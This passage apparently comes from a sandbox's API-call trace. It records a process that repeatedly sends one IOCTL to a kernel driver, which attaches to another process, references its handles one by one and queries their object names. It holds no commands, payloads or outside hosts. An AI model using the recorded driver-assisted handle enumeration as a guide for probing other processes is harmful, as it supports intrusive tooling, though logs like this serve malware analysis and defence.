(in: Object=0xfffff8a002051060, ObjectNameInfo=0xfffffa8001a00044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a00044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.707] ObfDereferenceObject (Object=0xfffff8a002051060) returned 0x1 [0131.707] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.707] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.707] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.707] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.707] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.707] PsAcquireProcessExitSynchronization () returned 0x0 [0131.707] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.707] ObReferenceObjectByHandle (in: Handle=0x530, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a0020364c0, HandleInformation=0x0) returned 0x0 [0131.707] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.708] PsReleaseProcessExitSynchronization () returned 0x2 [0131.708] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.708] ObQueryNameString (in: Object=0xfffff8a0020364c0, ObjectNameInfo=0xfffffa8001a01044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a01044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.708] ObfDereferenceObject (Object=0xfffff8a0020364c0) returned 0x1 [0131.708] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.708] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.708] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.708] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.708] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.708] PsAcquireProcessExitSynchronization () returned 0x0 [0131.708] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.708] ObReferenceObjectByHandle (in: Handle=0x540, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a001fcdcd0, HandleInformation=0x0) returned 0x0 [0131.708] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.708] PsReleaseProcessExitSynchronization () returned 0x2 [0131.708] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.708] ObQueryNameString (in: Object=0xfffff8a001fcdcd0, ObjectNameInfo=0xfffffa8001a06044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a06044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.708] ObfDereferenceObject (Object=0xfffff8a001fcdcd0) returned 0x1 [0131.708] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.708] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.708] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.708] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.708] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.708] PsAcquireProcessExitSynchronization () returned 0x0 [0131.708] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.708] ObReferenceObjectByHandle (in: Handle=0x550, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a00205a450, HandleInformation=0x0) returned 0x0 [0131.708] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.708] PsReleaseProcessExitSynchronization () returned 0x2 [0131.708] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.708] ObQueryNameString (in: Object=0xfffff8a00205a450, ObjectNameInfo=0xfffffa8001a02044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a02044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.708] ObfDereferenceObject (Object=0xfffff8a00205a450) returned 0x1 [0131.708] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.708] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.708] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.708] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.708] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.708] PsAcquireProcessExitSynchronization () returned 0x0 [0131.709] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.709] ObReferenceObjectByHandle (in: Handle=0x560, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a0020737a0, HandleInformation=0x0) returned 0x0 [0131.709] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.709] PsReleaseProcessExitSynchronization () returned 0x2 [0131.709] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.709] ObQueryNameString (in: Object=0xfffff8a0020737a0, ObjectNameInfo=0xfffffa800240c744, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800240c744, ReturnLength=0xfffff88005000550) returned 0x0 [0131.709] ObfDereferenceObject (Object=0xfffff8a0020737a0) returned 0x1 [0131.709] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.709] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.709] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.709] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.709] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.709] PsAcquireProcessExitSynchronization () returned 0x0 [0131.709] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.709] ObReferenceObjectByHandle (in: Handle=0x570, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a001fdcca0, HandleInformation=0x0) returned 0x0 [0131.709] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.709] PsReleaseProcessExitSynchronization () returned 0x2 [0131.709] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.709] ObQueryNameString (in: Object=0xfffff8a001fdcca0, ObjectNameInfo=0xfffffa80019ff7c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80019ff7c4, ReturnLength=0xfffff88005000550) returned 0x0 [0131.709] ObfDereferenceObject (Object=0xfffff8a001fdcca0) returned 0x1 [0131.709] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.709] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.709] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.709] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.709] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.709] PsAcquireProcessExitSynchronization () returned 0x0 [0131.709] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.709] ObReferenceObjectByHandle (in: Handle=0x580, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a001fe2c00, HandleInformation=0x0) returned 0x0 [0131.709] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.709] PsReleaseProcessExitSynchronization () returned 0x2 [0131.709] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.709] ObQueryNameString (in: Object=0xfffff8a001fe2c00, ObjectNameInfo=0xfffffa800231d7c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800231d7c4, ReturnLength=0xfffff88005000550) returned 0x0 [0131.709] ObfDereferenceObject (Object=0xfffff8a001fe2c00) returned 0x1 [0131.709] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.710] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.710] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.710] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.710] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.710] PsAcquireProcessExitSynchronization () returned 0x0 [0131.710] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.710] ObReferenceObjectByHandle (in: Handle=0x58c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a00206a060, HandleInformation=0x0) returned 0x0 [0131.710] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.710] PsReleaseProcessExitSynchronization () returned 0x2 [0131.710] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.710] ObQueryNameString (in: Object=0xfffff8a00206a060, ObjectNameInfo=0xfffffa800208f044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800208f044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.710] ObfDereferenceObject (Object=0xfffff8a00206a060) returned 0x1 [0131.710] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.710] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.710] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.710] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.710] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.710] PsAcquireProcessExitSynchronization () returned 0x0 [0131.710] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.710] ObReferenceObjectByHandle (in: Handle=0x59c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a002069520, HandleInformation=0x0) returned 0x0 [0131.710] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.710] PsReleaseProcessExitSynchronization () returned 0x2 [0131.710] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.710] ObQueryNameString (in: Object=0xfffff8a002069520, ObjectNameInfo=0xfffffa80025fb044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80025fb044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.710] ObfDereferenceObject (Object=0xfffff8a002069520) returned 0x1 [0131.710] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.710] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.710] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.710] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.710] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.710] PsAcquireProcessExitSynchronization () returned 0x0 [0131.710] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.710] ObReferenceObjectByHandle (in: Handle=0x5ac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a002070490, HandleInformation=0x0) returned 0x0 [0131.710] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.710] PsReleaseProcessExitSynchronization () returned 0x2 [0131.711] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.711] ObQueryNameString (in: Object=0xfffff8a002070490, ObjectNameInfo=0xfffffa8002026044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8002026044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.711] ObfDereferenceObject (Object=0xfffff8a002070490) returned 0x1 [0131.711] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.711] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.711] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.711] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.711] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.711] PsAcquireProcessExitSynchronization () returned 0x0 [0131.711] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.711] ObReferenceObjectByHandle (in: Handle=0x5bc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a002061800, HandleInformation=0x0) returned 0x0 [0131.711] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.711] PsReleaseProcessExitSynchronization () returned 0x2 [0131.711] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.711] ObQueryNameString (in: Object=0xfffff8a002061800, ObjectNameInfo=0xfffffa8003994044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003994044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.711] ObfDereferenceObject (Object=0xfffff8a002061800) returned 0x1 [0131.711] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.711] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.711] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.711] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.711] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.711] PsAcquireProcessExitSynchronization () returned 0x0 [0131.711] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.711] ObReferenceObjectByHandle (in: Handle=0x5cc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a002069140, HandleInformation=0x0) returned 0x0 [0131.711] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.711] PsReleaseProcessExitSynchronization () returned 0x2 [0131.711] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.711] ObQueryNameString (in: Object=0xfffff8a002069140, ObjectNameInfo=0xfffffa8002033044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8002033044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.711] ObfDereferenceObject (Object=0xfffff8a002069140) returned 0x1 [0131.711] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.711] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.711] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.711] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.711] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.711] PsAcquireProcessExitSynchronization () returned 0x0 [0131.712] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.712] ObReferenceObjectByHandle (in: Handle=0x5dc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a0020493d0, HandleInformation=0x0) returned 0x0 [0131.712] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.712] PsReleaseProcessExitSynchronization () returned 0x2 [0131.712] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.712] ObQueryNameString (in: Object=0xfffff8a0020493d0, ObjectNameInfo=0xfffffa8003a75044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003a75044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.712] ObfDereferenceObject (Object=0xfffff8a0020493d0) returned 0x1 [0131.712] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.712] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.712] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.712] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.712] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.712] PsAcquireProcessExitSynchronization () returned 0x0 [0131.712] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.712] ObReferenceObjectByHandle (in: Handle=0x5ec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a00208cd00, HandleInformation=0x0) returned 0x0 [0131.712] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.712] PsReleaseProcessExitSynchronization () returned 0x2 [0131.712] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.712] ObQueryNameString (in: Object=0xfffff8a00208cd00, ObjectNameInfo=0xfffffa800226b044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800226b044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.712] ObfDereferenceObject (Object=0xfffff8a00208cd00) returned 0x1 [0131.712] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.712] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.712] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.712] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.712] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.712] PsAcquireProcessExitSynchronization () returned 0x0 [0131.712] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.712] ObReferenceObjectByHandle (in: Handle=0x5fc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a001fb0c00, HandleInformation=0x0) returned 0x0 [0131.712] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.712] PsReleaseProcessExitSynchronization () returned 0x2 [0131.712] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.712] ObQueryNameString (in: Object=0xfffff8a001fb0c00, ObjectNameInfo=0xfffffa80038df044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80038df044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.712] ObfDereferenceObject (Object=0xfffff8a001fb0c00) returned 0x1 [0131.712] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.713] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.713] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.713] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.713] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.713] PsAcquireProcessExitSynchronization () returned 0x0 [0131.713] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.713] ObReferenceObjectByHandle (in: Handle=0x60c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a002081e00, HandleInformation=0x0) returned 0x0 [0131.713] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.713] PsReleaseProcessExitSynchronization () returned 0x2 [0131.713] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.713] ObQueryNameString (in: Object=0xfffff8a002081e00, ObjectNameInfo=0xfffffa8002512544, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8002512544, ReturnLength=0xfffff88005000550) returned 0x0 [0131.713] ObfDereferenceObject (Object=0xfffff8a002081e00) returned 0x1 [0131.713] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.713] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.713] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.713] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, 